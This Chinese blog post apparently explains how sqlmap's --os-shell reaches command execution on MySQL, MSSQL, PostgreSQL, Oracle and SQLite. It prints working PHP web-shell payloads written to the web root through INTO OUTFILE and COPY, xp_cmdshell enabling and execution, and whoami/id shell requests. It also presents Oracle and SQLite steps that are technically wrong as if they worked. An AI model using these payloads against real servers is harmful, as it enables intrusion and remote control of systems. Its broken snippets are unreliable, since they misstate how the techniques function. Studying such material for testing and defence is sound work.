sqlmap --os-shell的原理(MySQL,MSSQL,PostgreSQL,Oracle,SQLite)

1. MySQL

条件
  • 数据库用户需要具备高权限(如 FILE 权限)。
  • 数据库服务运行用户需要对目标目录有写权限。
  • Web 服务器有可写目录,且支持执行上传的脚本(如 PHP、JSP 等)。
原理
  • 利用 MySQL 的 SELECT ... INTO OUTFILE 功能,将恶意代码写入目标 Web 目录,生成一个 Web Shell 文件。
  • 攻击者通过浏览器访问 Web Shell,获得命令执行能力。
流程
  1. 确认 FILE 权限:

    sql 复制代码
    SELECT * FROM mysql.user WHERE User='target_user';
  2. 写入 Web Shell 到目标目录:

    sql 复制代码
    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
  3. 通过浏览器访问 Web Shell 执行命令:

    bash 复制代码
    http://xxxxxx.com/shell.php?cmd=whoami

2. Microsoft SQL Server (MSSQL)

条件
  • 数据库用户需要 sysadmin 权限。
  • 目标服务器启用了扩展存储过程 xp_cmdshell
  • 数据库运行用户有命令执行权限。
原理
  • 调用 MSSQL 的 xp_cmdshell 存储过程,直接在操作系统中执行命令。
流程
  1. 确认是否启用了 xp_cmdshell

    sql 复制代码
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
  2. 利用 xp_cmdshell 执行命令:

    sql 复制代码
    EXEC xp_cmdshell 'whoami';
  3. 通过命令的输出或回显获取执行结果。


3. PostgreSQL

条件
  • 数据库用户需要对文件系统具有写权限。
  • 数据库支持使用 COPY 命令将数据写入文件。
  • 目标 Web 目录可写入文件,并允许脚本执行。
原理
  • 利用 PostgreSQL 的 COPY 功能,将 Web Shell 写入目标文件系统。
流程
  1. 写入 Web Shell:

    sql 复制代码
    COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
  2. 访问 Web Shell: http://xxxxx.com/shell.php?cmd=id


4. Oracle

条件
  • 数据库用户需要 CREATE LIBRARY 权限。
  • 数据库运行用户需要访问操作系统。
  • 利用外部过程或 Java 存储过程。
原理
  • 通过 Oracle 数据库的外部过程,调用操作系统命令。
  • 使用 Java 存储过程执行系统级操作。
流程
  1. 创建外部库(如 DLL 文件):

    sql 复制代码
    CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
  2. 调用外部过程执行命令:

    sql 复制代码
    DECLARE
        cmd VARCHAR2(1000);
    BEGIN
        cmd := 'ls';
        DBMS_SCHEDULER.CREATE_JOB(cmd);
    END;
  3. 读取命令执行结果。


5. SQLite

条件
  • SQLite 本身无法直接与操作系统交互。
  • 必须结合其他漏洞(如本地文件包含)实现 Web Shell。
原理
  • 利用 SQLite 的 ATTACH 或其他功能,尝试将恶意数据写入特定目录。
流程
  1. 写入数据:

    sql 复制代码
    ATTACH DATABASE '/var/www/html/shell.php' AS shell;
  2. 在 Web 服务器中访问生成的 Web Shell 文件。


总结表

数据库 条件 原理 流程简述
MySQL FILE 权限,Web 目录可写 写入 Web Shell 通过 SELECT ... INTO OUTFILE 写 Shell -> 访问 Shell -> 执行命令
MSSQL sysadmin 权限,启用 xp_cmdshell 使用 xp_cmdshell 直接执行系统命令 开启 xp_cmdshell -> 执行命令
PostgreSQL 写权限,Web 目录可访问 使用 COPY 写入 Web Shell 写 Shell -> 访问 Shell -> 执行命令
Oracle CREATE LIBRARY 权限,系统访问权限 使用外部库或 Java 存储过程调用系统命令 配置库 -> 调用命令
SQLite 结合其他漏洞(如文件包含) 写入恶意数据文件,结合其他漏洞(如 LFI)访问 写 Shell -> 结合 LFI 执行
相关推荐
诗句藏于尽头26 分钟前
完成ssl不安全警告
网络协议·安全·ssl
好奇的菜鸟2 小时前
如何在IntelliJ IDEA中设置数据库连接全局共享
java·数据库·intellij-idea
tan180°2 小时前
MySQL表的操作(3)
linux·数据库·c++·vscode·后端·mysql
满昕欢喜2 小时前
SQL Server从入门到项目实践(超值版)读书笔记 20
数据库·sql·sqlserver
DuelCode3 小时前
Windows VMWare Centos Docker部署Springboot 应用实现文件上传返回文件http链接
java·spring boot·mysql·nginx·docker·centos·mybatis
幽络源小助理3 小时前
SpringBoot基于Mysql的商业辅助决策系统设计与实现
java·vue.js·spring boot·后端·mysql·spring
Hello.Reader3 小时前
Redis 延迟排查与优化全攻略
数据库·redis·缓存
简佐义的博客4 小时前
破解非模式物种GO/KEGG注释难题
开发语言·数据库·后端·oracle·golang
爬山算法4 小时前
MySQL(116)如何监控负载均衡状态?
数据库·mysql·负载均衡
独行soc5 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试